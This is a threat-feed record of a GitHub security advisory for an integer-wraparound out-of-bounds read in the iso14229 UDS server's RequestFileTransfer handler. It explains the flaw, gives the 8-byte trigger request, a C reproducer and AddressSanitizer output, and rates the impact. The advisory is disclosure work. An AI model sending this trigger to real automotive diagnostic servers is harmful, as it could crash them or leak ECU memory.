{"schema":"threatline.record/2","record":{"id":"GHSA-5hgv-5fqg-8vcr","aliases":["GHSA-5hgv-5fqg-8vcr"],"summary":"Out-of-bounds read in `RequestFileTransfer` (SID 0x38) via `uint16_t` wraparound of the file-path length","details":"## Summary\r\n`Handle_0x38_RequestFileTransfer` in the UDS server computes the file-path field offset as a 16-bit value, `uint16_t byte_idx = 4 + file_path_len`, where `file_path_len` is taken directly from the request. For `file_path_len ≥ 0xFFFC` this addition wraps to a small number, bypassing the only length-bound check in the handler. The server then forwards `filePath = &recv_buf[4]` together with `filePathLen` of up to **65535** to the application's `UDS_EVT_RequestFileTransfer` callback, even though only a handful of bytes were actually received. A conforming callback that reads `filePathLen` bytes of `filePath` (e.g. to open/log the file name) reads far past the receive buffer.\r\n\r\nThis is the same bug class (CWE‑191 integer wraparound → CWE‑125 out‑of‑bounds read, manifesting through the service callback) as [CVE‑2026‑54413](https://www.cve.org/CVERecord?id=CVE-2026-54413), but in a **different handler** (`0x38` RequestFileTransfer rather than `0x27` SecurityAccess) and is **not** covered by that advisory.\r\n\r\nA second, lower-severity issue in the same handler (an off-by-one bound, `>` instead of `>=`) is described under *Related hardening* and is fixed by the same patch.\r\n\r\n## Details\r\nRelevant code (`src/server.c`, equivalently amalgamated `iso14229.c`):\r\n\r\n```c\r\n// src/server.c  Handle_0x38_RequestFileTransfer\r\n1151  uint16_t file_path_len = (uint16_t)(((uint16_t)r->recv_buf[2] << 8) + (uint16_t)r->recv_buf[3]); // attacker-controlled, 0..65535\r\n1156  uint16_t byte_idx = 4 + file_path_len;     // <-- 16-bit add: 4 + 0xFFFF == 0x10003 truncates to 0x0003\r\n1158  if (byte_idx > r->recv_len) {              // <-- bypassed: the wrapped byte_idx (3) is < recv_len\r\n1159      err = UDS_NRC_IncorrectMessageLengthOrInvalidFormat;\r\n1160      goto done;\r\n1161  }\r\n...\r\n1214  .filePathLen = file_path_len,              // 65535 (un-wrapped) handed to the callback\r\n1215  .filePath    = file_path_len == 0 ? NULL : &r->recv_buf[4],\r\n...\r\n1221  err = EmitEvent(srv, UDS_EVT_RequestFileTransfer, &args);   // -> srv->fn(...)\r\n```\r\n\r\nMechanism:\r\n1. `file_path_len` is fully attacker-controlled from request bytes 2–3.\r\n2. The bound at line 1158 is supposed to ensure the `filePathLen`-byte path (and the trailing fields) fit within `recv_len`. It checks the **truncated** `byte_idx`, so a request where `file_path_len ∈ {0xFFFC..0xFFFF}` makes `byte_idx` wrap to `{0..3}` and pass the check.\r\n3. The handler then builds `args.filePathLen = file_path_len` (the *un-truncated* 16-bit value, up to 65535) and `args.filePath = &recv_buf[4]`, and invokes the user callback.\r\n4. The library itself does not dereference `filePath`; the out-of-bounds read occurs when a conforming `UDS_EVT_RequestFileTransfer` handler consumes `filePathLen` bytes — the documented contract, and exactly what the in-tree fuzz harness and any real file handler do.\r\n\r\n`mode_of_operation` must be a value that yields a non-NULL `filePath` (`AddFile 0x01`, `ReplaceFile 0x03`, or `ReadFile 0x04`). The minimum request length (`UDS_0X38_REQ_BASE_LEN = 5`) is the only other precondition.\r\n\r\n## PoC\r\nTrigger bytes (8-byte physical UDS request): `38 04 FF FF DE AD BE EF`\r\n(SID `0x38`, mode `ReadFile 0x04`, `file_path_len = 0xFFFF`, then ≥1 trailing byte so `recv_len ≥ 5`).\r\n\r\nStandalone reproducer (public API + in-tree mock ISO-TP transport; the callback does the normal thing — reads the advertised path length):\r\n\r\n```c\r\n// repro_0x38_wrap.c  — build & run:\r\n//   clang -I. -DUDS_TP_ISOTP_MOCK -DUDS_CUSTOM_MILLIS=1 -fsanitize=address \\\r\n//         -fno-sanitize-recover=all -g -O1 iso14229.c repro_0x38_wrap.c -o /tmp/r && /tmp/r\r\n#include \"iso14229.h\"\r\nstatic uint32_t g_ms; uint32_t UDSMillis(void){ return g_ms; }\r\nstatic volatile uint8_t sink;\r\nstatic UDSErr_t fn(UDSServer_t*s,UDSEvent_t e,void*a){ (void)s;\r\n    if(e==UDS_EVT_RequestFileTransfer){ UDSRequestFileTransferArgs_t*r=a;\r\n        for(uint16_t i=0;i<r->filePathLen;i++) sink^=r->filePath[i]; }   // OOB read\r\n    return UDS_PositiveResponse; }\r\nint main(void){\r\n    static ISOTPMockArgs_t sa={.sa_phys=0x7E0,.ta_phys=0x7E8,.sa_func=0x7DF,.ta_func=UDS_TP_NOOP_ADDR};\r\n    static ISOTPMockArgs_t ta={.sa_phys=0x7E8,.ta_phys=0x7E0,.sa_func=UDS_TP_NOOP_ADDR,.ta_func=0x7DF};\r\n    UDSServer_t srv; UDSServerInit(&srv); srv.fn=fn; srv.tp=ISOTPMockNew(\"server\",&sa);\r\n    UDSTp_t* tester=ISOTPMockNew(\"tester\",&ta);\r\n    uint8_t m[]={0x38,UDS_MOOP_RDFILE,0xFF,0xFF,0xDE,0xAD,0xBE,0xEF};   // file_path_len=0xFFFF\r\n    UDSSDU_t info={.A_Mtype=UDS_A_MTYPE_DIAG,.A_TA_Type=UDS_A_TA_TYPE_PHYSICAL};\r\n    UDSTpSend(tester,m,sizeof(m),&info);\r\n    for(int i=0;i<8;i++){ g_ms+=10; UDSServerPoll(&srv); }\r\n    return 0;\r\n}\r\n```\r\n\r\nAddressSanitizer output (clang 18.1.8):\r\n```\r\n==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1 ...\r\n    #0 consume repro_0x38_wrap.c   (callback reading filePath[i], filePathLen=65535)\r\n    #2 EmitEvent iso14229.c:898\r\n    #3 Handle_0x38_RequestFileTransfer iso14229.c:2093\r\n    #4 evaluateServiceResponse iso14229.c:2374\r\n    #5 UDSServerPoll iso14229.c:2526\r\n0x... is located 0 bytes after 8336-byte region   (the whole UDSServer_t)\r\n```\r\n\r\n## Impact (realistic)\r\n- The read can span up to ~64 KB beyond the receive buffer. On hosted targets with memory protection (e.g. a Linux/QNX DoIP gateway), hitting an unmapped page **crashes the diagnostic server** (denial of service). On bare-metal MCUs — the library's primary target — there is usually no MMU, so the access does **not** crash; instead it reads adjacent SRAM/flash/peripheral memory, which can be **disclosed** to the tester if the callback reflects the file path in a response, or otherwise causes the handler to act on out-of-bounds data.\r\n- The out-of-bounds read happens **in the integrator's `UDS_EVT_RequestFileTransfer` callback**, not inside the library. A defensive callback that bounds `filePathLen` itself before reading is not affected; however the library gives the callback no signal that the length is invalid, so the common/naïve implementation (open or log a `filePathLen`-byte path) is vulnerable. This is the same callback-mediated pattern accepted for CVE‑2026‑54413.\r\n- **Reachability:** a single, well-formed-looking 8-byte request; no priming, session, or prior state required at the library level. Note that many deployments gate `RequestFileTransfer` behind a programming session + SecurityAccess at the application layer; where that gating is enforced before the callback consumes the length, an attacker must be authenticated (raising attack complexity / privileges — see CVSS caveats).","categories":["Unclassified"],"product":"iso14229","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/driftregion/iso14229/security/advisories/GHSA-5hgv-5fqg-8vcr","source_modified_at":"2026-09-27T18:33:28Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"ecosystem":"","name":"iso14229"},"range":"<=0.9.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/driftregion/iso14229/security/advisories/GHSA-5hgv-5fqg-8vcr","source_modified_at":"2026-09-27T18:33:28Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"ecosystem":"","name":"iso14229"},"version":"0.10.2"}],"cvss":8.2,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-27T18:33:28Z","modified_at":"2026-09-27T18:33:28Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/driftregion/iso14229/security/advisories/GHSA-5hgv-5fqg-8vcr","fetched_at":"2026-10-23T18:52:38.922436Z","source_modified_at":"2026-09-27T18:33:28Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-27T18:33:28Z","content_hash":"b98ab7d7c2bb63ce56a4bebc2bb25439925a92bb70b6416d66b02aab8df7a97f"}}
